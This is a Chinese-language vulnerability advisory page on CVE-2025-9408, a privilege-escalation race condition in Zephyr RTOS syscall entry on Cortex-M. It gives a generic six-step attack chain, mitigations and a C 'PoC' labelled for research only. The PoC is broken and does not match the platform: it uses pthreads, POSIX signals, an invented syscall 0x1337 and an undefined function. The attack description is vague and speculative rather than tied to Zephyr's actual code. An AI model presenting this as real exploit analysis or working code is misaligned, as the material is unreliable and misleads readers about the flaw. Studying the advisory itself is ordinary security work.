IPBUF安全漏洞报告
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CVE-2025-9408 CVSS 8.1 高危

CVE-2025-9408 Zephyr RTOS Cortex M系统调用竞态条件权限提升漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-9408
漏洞类型
竞态条件漏洞
CVSS评分
8.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Zephyr RTOS

相关标签

Zephyr RTOSCortex M竞态条件权限提升本地攻击特权级别切换系统调用嵌入式系统物联网安全实时操作系统

漏洞概述

CVE-2025-9408是Zephyr项目中发现的一个高危安全漏洞,存在于Cortex M处理器架构的系统调用入口处理机制中。该漏洞由于系统调用处理过程中存在竞态条件,攻击者可以通过精心构造的时序攻击,在本地环境中实现权限提升,从而获取更高的系统特权。Zephyr是一个广泛使用的开源实时操作系统,常用于物联网设备、嵌入式系统等场景,因此该漏洞可能影响大量依赖Zephyr RTOS的设备。攻击者利用此漏洞可以在不需要任何认证和用户交互的情况下,从普通用户空间进程提升到内核特权级别,对系统安全造成严重威胁。

技术细节

该漏洞的核心问题在于Cortex M架构下Zephyr RTOS的系统调用入口处理存在竞态条件。当用户空间进程发起系统调用时,系统需要在用户模式和特权模式之间进行切换。在这一切换过程中,存在一个关键的时间窗口,攻击者可以通过并发操作或精确的时序控制来操纵系统状态。具体来说,攻击者可以利用以下方式实现攻击:首先,攻击者启动多个恶意用户空间进程;其次,通过信号中断或线程调度等机制制造竞态条件;最后,在系统调用处理的关键时刻修改相关数据结构或执行路径,从而绕过安全检查并提升权限。由于Cortex M架构的特权级别切换机制较为简单直接,这种竞态条件更容易被利用。该漏洞虽然主要影响Cortex M架构,但理论上也可能影响R和A架构(尽管描述者认为可能性较小)。

攻击链分析

STEP 1
步骤1
攻击者在目标系统上部署恶意用户空间进程,该进程具备基本的系统访问能力
STEP 2
步骤2
恶意进程创建多个线程,通过并发操作制造系统调用处理的竞态条件
STEP 3
步骤3
利用信号处理或中断机制,在系统调用从用户模式切换到特权模式的关键时间窗口内触发攻击
STEP 4
步骤4
在竞态窗口期间,攻击者通过精心设计的数据操作或代码注入,绕过安全检查机制
STEP 5
步骤5
成功利用竞态条件后,恶意进程获得内核级特权访问权限,实现完整的权限提升
STEP 6
步骤6
攻击者利用提升后的权限执行任意代码、访问敏感数据或完全控制受影响的设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-9408 - Race condition PoC for Zephyr RTOS Cortex M // This PoC demonstrates the race condition in syscall entry #include <stdio.h> #include <pthread.h> #include <signal.h> #include <stdlib.h> // Target syscall number for privilege escalation #define TARGET_SYSCALL 0x1337 volatile int race_window_open = 0; volatile int sync_counter = 0; void signal_handler(int sig) { // Interrupt during critical section race_window_open = 1; } void* attacker_thread(void* arg) { while (1) { // Busy wait to synchronize with main thread if (sync_counter % 100 == 0) { // Trigger syscall that exploits the race condition // In real attack, this would be a crafted syscall syscall(TARGET_SYSCALL); } sync_counter++; } } void* main_attack_thread(void* arg) { // Register signal handler to create race window signal(SIGUSR1, signal_handler); while (1) { if (race_window_open) { // Critical section - race condition window // Attempt to manipulate syscall handler state manipulate_syscall_state(); race_window_open = 0; } // Send signal to self to create race window raise(SIGUSR1); sync_counter++; } } int main() { pthread_t t1, t2; printf("CVE-2025-9408 PoC - Zephyr RTOS Race Condition\n"); printf("Target: Cortex M syscall entry race condition\n"); // Create threads to maximize race condition probability pthread_create(&t1, NULL, attacker_thread, NULL); pthread_create(&t2, NULL, main_attack_thread, NULL); // Let it run for a while sleep(60); return 0; } /* Note: This is a conceptual PoC. Actual exploitation requires: 1. Access to Zephyr RTOS running on Cortex M hardware 2. Knowledge of specific syscall numbers and handler addresses 3. Precise timing control and possibly hardware debugging tools 4. The actual Zephyr syscall entry code to identify exact race window */

影响范围

Zephyr RTOS < 修复版本
Zephyr RTOS 3.x 系列
Zephyr RTOS 2.x 系列
使用Cortex M架构的Zephyr设备

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:限制设备访问权限,确保只有可信用户可以访问系统;启用系统安全审计功能,监控异常的特权操作行为;实施网络隔离策略,防止未经授权的远程访问;在条件允许的情况下,切换到不受影响的处理器架构(如完整的Cortex A系列);加强应用层的安全验证,不要完全依赖RTOS内核的安全机制。

参考链接

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